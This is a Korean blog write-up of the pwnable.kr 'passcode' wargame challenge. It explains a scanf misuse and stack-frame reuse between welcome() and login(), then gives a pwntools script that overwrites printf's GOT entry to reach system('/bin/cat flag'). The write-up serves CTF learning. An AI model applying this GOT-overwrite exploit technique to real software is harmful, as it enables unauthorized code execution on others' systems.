해당 문제의 write-up을 이해하기 위해선 함수가 호출 및 종료(return) 됐을 때, 스택에 어떤 변화가 일어나는지 알아야 한다. 이를 위해 아래 게시글을 참조하자.
http://www.tcpschool.com/c/c_memory_stackframe
소스 코드
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
소스코드 설명
[1] login 함수의 scanf 부분을 유심히 살펴보자.
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
우리가 평소에 보던 scanf 사용 방식과 차이가 있다. 위의 코드는 scanf의 인자로 passcode1의 주소가 아니라 값을 주고 있는데,
다음과 같이 scanf를 사용하게 되면 passcode1의 주소에 입력값을 저장하는 게 아니라 "passcode1에 저장돼있는 값"의 주소에 입력값을 저장하게 된다.
예를 들어, passcode1 == 0x12345678이라면, 입력값을 0x12345678이라는 주소에 저장하게 된다.
소스코드 설명은 이쯤이면 될 것 같다.
이제 디버거를 통해 바이너리를 분석해보자.
바이너리 분석
[1] main함수를 disassemble한 결과는 다음과 같다. welcome함수를 호출한 뒤 바로 login함수를 호출하는데, 둘은 모두 인자가 없는 함수이므로, welcome()과 login()이 사용하는 스택 공간은 일부 중복될 것이다.
이해를 돕기 위해 main()의 welcome()과 login() 호출 과정을 디버거를 통해 살펴보자
여기서 ESP의 변화와 EBP 값을 유심히 살펴보자.
[2](welcome()을 실행하기 직전)에서의 ESP == 0xffa0e2a0
[3](welcome()이 호출된 직후)에서의 ESP == 0xffa0e29c
[4](welcome()의 push ebp; mov ebp, esp; 가 수행된 이후)에서의 ESP, EBP == 0xffa0e298 /
[2]->[3]으로 가며 push RETURN ADDRESS가 되며 esp-0x4가 되고,
[3]->[4]로 가며 push ebp가 되며 다시 esp-0x4가 된다. 이를 그림으로 나타내면 다음과 같다.
***이제부터가 아주 중요함
login()이 호출될 때의 동작도 살펴보자
이후 호출 과정은 welcome()이 호출될 때인 위의 사진 [3], [4]의 동작과 똑같으니 스킵하고,
우리가 여기서 유심히 볼 것은 사진[6] 시점에서의 ESP 값이다.
[6](login()을 호출하기 직전)에서의 ESP와 [2](welcome()을 호출하기 직전)에서의 ESP값이 같다.
이게 무엇을 의미하느냐
바로, welcome()이 사용한 스택프레임의 EBP와 login()이 사용하는 스택프레임의 EBP가 같다는 뜻(둘 다 인자가 없는 함수이므로)이다
이건 다시 뭘 뜻하냐면, 두 함수가 같은 공간을 스택프레임으로 사용한다는 뜻과 같다.
즉 Heap Use After Free와 비슷하게,
login()에서 변수를 초기화 해주지 않는다면, welcome()에서 변수에 저장됐던 데이터와 같은 영역을 사용하는 login()의 변수가 자동으로 welcome() 사용 후 남아있던 데이터로 자동으로 초기화 된다는 걸 뜻한다.
그러니 우리는 welcome()의 변수를 통해 login()의 변수를 조작할 수 있는 것이다.(login()에서 scanf를 괴랄하게 사용하는 탓에 login() 내의 변수를 초기화 하지 않으므로.)
그럼 이제 welcome()의 변수 char name[100]과 login()의 변수 passcode1, passcode2가 어디에 위치하는지 살펴보자
[7], [8]을 통해 파악한 welcome()과 login()의 스택 구조는 다음과 같다
char name[100]의 하위 4byte와 passcode1이 겹친다. 나는 이 점을 이용해 exploit을 할 것이다.
exploit 설계
핵심적인 설명은 위에서 모두 마쳤다. 이제 exploit을 설계해보자.
Step 0. login()을 disassemble 한 것을 보면 첫 번째 scanf 이후 printf를 호출한다.
또한 소스코드의 login() 내에 system("/bin/cat flag");이라는 코드가 존재하므로, 해당 바이너리의 코드 세그먼트에는 해당 코드가 적혀있을 것이다.
따라서 나는 GOT Overwrite를 통해 printf_got를 system("/bin/cat flag")의 주소로 overwrite 할 것이다.
login()을 disassemble 한 위의 사진을 보면 내가 원하는 system("/bin/cat flag")는
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485e3에 위치하는 것을 알 수 있다.
참고로
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
에서 코드 세그먼트에 위치한 0x80487af에는 아래 사진과 같이 "/bin/cat flag"라는 문자열이 위치한다.
(32bit 아키텍처에서는 함수를 사용할 때 레지스터에 인자를 담는 것이 아니라, 인자를 스택에 쌓아서 사용한다)
Step 1. welcome()을 통해 passcode1에 해당하는 위치인 char name[100]의 하위 4byte에 printf_got의 주소를 넣는다.
Step 2. login()의 scanf("%d", passcode1)을 통해 printf_got를 0x080485e3( system("/bin/cat flag") )로 overwrite 한다.
from pwn import *
p = ssh('passcode', 'pwnable.kr', 2222, 'guest')
e = ELF('./passcode')
s = p.process('./passcode')
printf_got = e.got['printf']
system_cat_flag = 0x80485e3
payload = b'a'*96 + p32(printf_got)
#[1] welcome() -> passcode1 == printf_got
s.sendlineafter('enter you name : ', payload)
#[2] login() -> overwrite printf_got -> system("/bin/cat flag")
s.sendlineafter('enter passcode1 : ', str(0x80485e3).encode())
s.interactive()
'pwnable.kr > Toddler's Bottle' 카테고리의 다른 글
random (0) | 2023.08.04 |
---|---|
flag (0) | 2023.08.03 |
bof (1) | 2023.06.14 |
collision (0) | 2023.06.14 |
fd (0) | 2023.06.14 |